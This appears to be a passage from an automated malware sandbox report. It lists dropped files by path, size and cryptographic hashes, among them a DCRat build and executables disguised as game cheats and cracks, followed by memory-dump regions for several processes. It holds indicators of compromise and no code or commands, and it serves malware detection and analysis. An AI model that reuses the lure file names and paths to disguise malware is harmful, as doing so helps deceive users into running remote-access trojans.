          8eb74a53fe655c5b538246f42cc078d8900bf215

          SHA256

          98311058614dd00a0d0e9e9c38f9df5d1d951525741fc46901d1a396baddd8f2

          SHA512

          6cf05ca56f4c6320bc490401e742f81230e6c138651d958776f497d5e4889fe16c5853a1864791a3f10b4b3d103f5218894be4c7009d1eb7b32e243111b166af

          Download Submit

        • C:\blockweb\TOdra8QNG4wQEWkSimCHh9eVG.bat
          Filesize

          39B

          MD5

          19fe83feec263d4e4e68e3dd0e6b3615

          SHA1

          7ff948a654d54acfde0e798fe1d67160343f8dfd

          SHA256

          07dc5ed69f4847071b41d0086ef8a11032c2d85b1ec8a8b00a5d29480c3e6744

          SHA512

          ee6fef4211b60dff50b7cdb88f9ec0028a67bc428ab854c0932db7e5873f9a22e16760d59ff6b885fdb96ed7f6582d3735f629d6e825dcfd1e8c13c5d5adae78

          Download Submit

        • C:\blockweb\file.vbs
          Filesize

          34B

          MD5

          677cc4360477c72cb0ce00406a949c61

          SHA1

          b679e8c3427f6c5fc47c8ac46cd0e56c9424de05

          SHA256

          f1cccb5ae4aa51d293bd3c7d2a1a04cb7847d22c5db8e05ac64e9a6d7455aa0b

          SHA512

          7cfe2cc92f9e659f0a15a295624d611b3363bd01eb5bcf9bc7681ea9b70b0564d192d570d294657c8dc2c93497fa3b4526c975a9bf35d69617c31d9936573c6a

          Download Submit

        • \Users\Admin\AppData\Local\Temp\52cheatand52rat.exe
          Filesize

          229KB

          MD5

          06129ffc46e854930cfcaa754ca1d487

          SHA1

          e7c173c48aa107ec63bd6f9030c9ec6fe889d832

          SHA256

          10d28e18a7df4b2c30e05e5e361f1724e0b6ea8c021d8105ee30354be79b98d1

          SHA512

          b7121a2a65f317edbc1b4dd8dec427c277fad2b521a211d1408bc06b79431c418dad32ed61481c5ef49511cd167846e026a86147ae77bd9b0e607918feb66ab9

          Download Submit

        • \Users\Admin\AppData\Local\Temp\DCRatBuild.exe
          Filesize

          2.5MB

          MD5

          6e01d4882274684f48e04436103ad57f

          SHA1

          3b88df5fc9e6973bf3ecb1e2ed759b86774cb290

          SHA256

          424497764bc1e2cd57f454d173dceeb9dcd7f900aaf5060110da629d11fadf8d

          SHA512

          3e5ed6ee7458f4662dd9bbe572620fc591e69fbc6d8e98013ec0f39a95eb9da55561a232eea23192fbc59368b99f99ee6a00df23bcff253c327aa3eb607c7d7e

          Download Submit

        • \Users\Admin\AppData\Local\Temp\Lunch LaCheat.exe
          Filesize

          7.5MB

          MD5

          b76057df968a944446f950dd4ddc6aec

          SHA1

          bb64de1c677368764000d34c29528ead2f48405c

          SHA256

          afe91fea04d39de5710ad065252d13b9df7b7bd25788ddf5afb162a2f0a03296

          SHA512

          7f45198fe05013ceab477784bde2b1c4532607bd8ba8d9cfb09c5bb037dd2616086c8cb3afd669b24ec89eedbd270d00f1bd6bce2644b40ed36b8f32fc5fdb31

          Download Submit

        • \Users\Admin\AppData\Local\Temp\Lunch LaCheatV2.exe
          Filesize

          12.7MB

          MD5

          7db5128f7a81cc1af094d8898e79ff21

          SHA1

          d503984331d5999c14931c267d859fbd1510c282

          SHA256

          2952fa4ab9bc3e2b04b1f3ab6b648d0d23fa74856c50bf21fb13fddfe9a874bb

          SHA512

          caceec284b71df124d47267e5ca42bf84e558aa9606b0186f132fba8d2bead2ddbd9304cd82761270b6c42271e0937aeff605ef5d865c424cc29b39ca05b123a

          Download Submit

        • \Users\Admin\AppData\Local\Temp\Primordial Crack.exe
          Filesize

          12.7MB

          MD5

          bbd6ffdb33259778f08704696a04891f

          SHA1

          0fd836bb4bfc035ff35ebe0fb47e4693cec9e8ba

          SHA256

          841eb644979b3c640761762645c9cd26f9bb46e558eaeb7bf0c2a79e761878f4

          SHA512

          1b66f11b3a3dea1e6a8f4f7ee493437a41e30704d1c80048efd245184a447fde6abf06fe45af0663a72b30b657a7297554df8c3af7b36ae2e0df21a5031a34e0

          Download Submit

        • \blockweb\portrefNet.exe
          Filesize

          2.2MB

          MD5

          84c6cb042dc58a109dfa2db8381bec28

          SHA1

          4a86e72e9d2c3e0c17cd3a09df754169f4b7ce31

          SHA256

          2e09ed806f9a7c57186872ab3715909437e2729500bc194e0a2cf3405c4cd5f0

          SHA512

          c8ef31a3eaeac8ef0faa043d0bdd085063d54572d0a7eefade08a9db5f97c397bb3270baca71817da9d91c0d1227fcee9ce019065bb5a66f20fed9d7349ab0ef

          Download Submit

        • memory/612-152-0x0000000000020000-0x0000000000060000-memory.dmp

          Filesize

          256KB

          Download

        • memory/1540-198-0x0000000000590000-0x00000000005E6000-memory.dmp

          Filesize

          344KB

          Download

        • memory/1540-197-0x00000000009B0000-0x0000000000BEA000-memory.dmp

          Filesize

          2.2MB

          Download

        • memory/2192-176-0x0000000000480000-0x0000000000488000-memory.dmp

          Filesize

          32KB

          Download

        • memory/2192-174-0x0000000000BE0000-0x0000000000C36000-memory.dmp

          Filesize

          344KB

          Download

        • memory/2192-173-0x0000000000260000-0x0000000000276000-memory.dmp

          Filesize

          88KB

          Download

        • memory/2192-172-0x0000000000240000-0x000000000025C000-memory.dmp

          Filesize

          112KB

          Download

        • memory/2192-171-0x0000000001140000-0x000000000137A000-memory.dmp

          Filesize

          2.2MB

          Download

        • memory/2192-175-0x0000000000280000-0x000000000028E000-memory.dmp

          Filesize

          56KB

          Download

        • memory/2192-177-0x0000000000490000-0x0000000000498000-memory.dmp

          Filesize

          32KB

          Download

        • memory/2648-26-0x0000000000400000-0x00000000010F7000-memory.dmp

          Filesize

          13.0MB

          Download

        • memory/2696-8-0x0000000000160000-0x00000000001A0000-memory.dmp

          Filesize

          256KB

          Download

        • memory/2696-6-0x000007FEF50C3000-0x000007FEF50C4000-memory.dmp

          Filesize

          4KB

          Download

        • memory/2756-45-0x0000000000400000-0x00000000010BB000-memory.dmp

          Filesize

          12.7MB

          Download

        • memory/2844-76-0x00000000002F0000-0x00000000002F1000-memory.dmp

          Filesize

          4KB

          Download

        • memory/2844-77-0x0000000000300000-0x0000000000301000-memory.dmp

          Filesize

          4KB

          Download

        • memory/2844-79-0x0000000000300000-0x0000000000301000-memory.dmp

          Filesize

          4KB

          Download

        • memory/2844-81-0x0000000000300000-0x0000000000301000-memory.dmp

          Filesize

          4KB

          Download

        • memory/2844-82-0x0000000000310000-0x0000000000311000-memory.dmp

          Filesize

          4KB

          Download

        • memory/2844-84-0x0000000000310000-0x0000000000311000-memory.dmp

          Filesize

          4KB

          Download

        • memory/2844-52-0x0000000000230000-0x0000000000231000-memory.dmp

          Filesize

          4KB

          Download

        • memory/2844-54-0x0000000000230000-0x0000000000231000-memory.dmp

          Filesize

          4KB

          Download

        • memory/2844-56-0x0000000000230000-0x0000000000231000-memory.dmp

          Filesize

          4KB

          Download

        • memory/2844-59-0x0000000000240000-0x0000000000241000-memory.dmp

          Filesize

          4KB

          Download

        • memory/2844-61-0x0000000000240000-0x0000000000241000-memory.dmp

          Filesize

          4KB

          Download

        • memory/2844-64-0x0000000000250000-0x0000000000251000-memory.dmp

          Filesize

          4KB

          Download

        • memory/2844-66-0x0000000000250000-0x0000000000251000-memory.dmp

          Filesize

          4KB

          Download

        • memory/2844-69-0x0000000000260000-0x0000000000261000-memory.dmp

          Filesize

          4KB

          Download

        • memory/2844-71-0x0000000000260000-0x0000000000261000-memory.dmp

          Filesize

          4KB

          Download

        • memory/2844-74-0x00000000002F0000-0x00000000002F1000-memory.dmp

          Filesize

          4KB

          Download

        • memory/2844-87-0x0000000000400000-0x0000000001B6B000-memory.dmp

          Filesize

          23.4MB

          Download

        • memory/2844-86-0x0000000000310000-0x0000000000311000-memory.dmp

          Filesize

          4KB

          Download

        • memory/2844-47-0x0000000000220000-0x0000000000221000-memory.dmp

          Filesize

          4KB

          Download

        • memory/2844-49-0x0000000000220000-0x0000000000221000-memory.dmp

          Filesize

          4KB

          Download

        • memory/2844-51-0x0000000000220000-0x0000000000221000-memory.dmp

          Filesize

          4KB

          Download